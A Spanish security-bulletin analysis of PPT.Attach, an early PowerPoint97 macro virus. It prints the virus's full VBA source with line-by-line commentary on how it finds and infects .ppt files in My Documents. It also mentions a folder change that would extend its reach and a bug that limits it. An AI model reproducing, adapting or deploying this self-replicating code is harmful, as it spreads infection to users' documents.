Apenas hace tres días, el 17 de diciembre, anunciábamos la aparición del primer virus de macro para PowerPoint. A día de hoy os presentamos el primer análisis desde HispaSec, en el cual podremos ver que se trata en realidad de un espécimen que no aporta nada nuevo a otros virus de macro similares.
El virus se presenta en un formulario dentro de una presentación (.PPT) para PowerPoint97. Para llegar a su código basta con dirigirse al menú Herramientas -> Macros -> Editor de VBA. En el formulario damos doble click y nos encontramos con el siguiente código. Los comentarios van en líneas separadas, y entre dobles corchetes [[ ]].
‘
‘PPT.Attach v0.1 /1nternal
[[Son dos comentarios (REM), el primero de ellos ‘ es utilizado como marca del virus para saber si un fichero se encuentra ya infectado.]]
Private Sub UserForm_Terminate()
[[El código se encuentra en el evento Terminate, es decir, se ejecutará cuando se cierre el formulario que lo contiene.]]
On Error Resume Next
Set Home = ActivePresentation
Set fs = Application.FileSearch
fs.NewSearch
fs.LookIn = «C:\My Documents»
fs.SearchSubFolders = True
fs.FileName = «*.ppt»
fs.Execute
[[El virus se prepara para encontrar su primera víctima, Home es la aplicación actualmente infectada, a continuación realiza una búsqueda de ficheros de PowerPoint (mascara *.ppt) dentro del subdirectorio «C:\My Documents» incluidas subcarpertas.]]
For i = 1 To fs.FoundFiles.Count
If InStr(1, fs.FoundFiles(i), «~», 1) = 0 And fs.FoundFiles(i) Home.FullName Then
Set PVict = Presentations.Open(fs.FoundFiles(i))
[[Recorre todos los ficheros encontrados, descartando aquellos que tengan en su nombre el caracter «~» y a el fichero desde el cual se está ejecutando el virus (Home.Fullname). En el caso de encontrar un fichero que se ajuste a esas condiciones lo abre.]]
For j = 1 To PVict.VBProject.VBcomponents.Count
If PVict.VBProject.VBcomponents(j).Type = 3 Then
If PVict.VBProject.VBcomponents(j).Codemodule.Lines(1, 1) «‘» Then
[[Recorre todos los componentes del fichero en busca de los formularios (tipo 3), y comprueba que no contiene la línea ‘, asegurándose así que no se encuentra ya previamente infectado.]]
PVict.VBProject.VBcomponents(j).Codemodule.InsertLines 1, Home.VBProject.VBcomponents(Name).Codemodule.Lines(1, 27)
PVict.Save
End If
End If
Next
PVict.Close
End If
Next
[[En el caso de que no esté infectado inserta en el formulario víctima las 27 líneas de las que se compone el virus y lo graba. Posteriormente lo cierra, y continua el bucle con el resto de ficheros que había encontrado.]]
Set PVict = Nothing
End Sub
Se trata de un virus muy simple y primitivo, similar al resto de virus de macro para los otros componentes de Office97 basados en Visual Basic para Aplicaciones. El virus original no afecta en principio a los usuarios españoles, aunque para que ello ocurra simplemente se debería cambiar la carpeta de búsqueda por las de C:\Mis Documentos. A la hora de actuar el virus es detectado fácilmente por abrir todos los documentos de PowerPoint que va encontrando, con el consiguiente aviso en la barra superior. Así como cuando infecta, se puede observar en la barra de estado como guarda el fichero. En el caso de que una presentación tuviera más de un formulario, el virus iría insertando su código en todos.
Un bug que hemos podido detectar, entre otras muchas posibles mejoras, es que el virus no comprueba si existe en el formulario a infectar un evento Terminate con antelación. Cuando esto ocurre el virus inserta su código, y producte un error al intentar compilar el formulario por la duplicidad del evento.
Deja una respuesta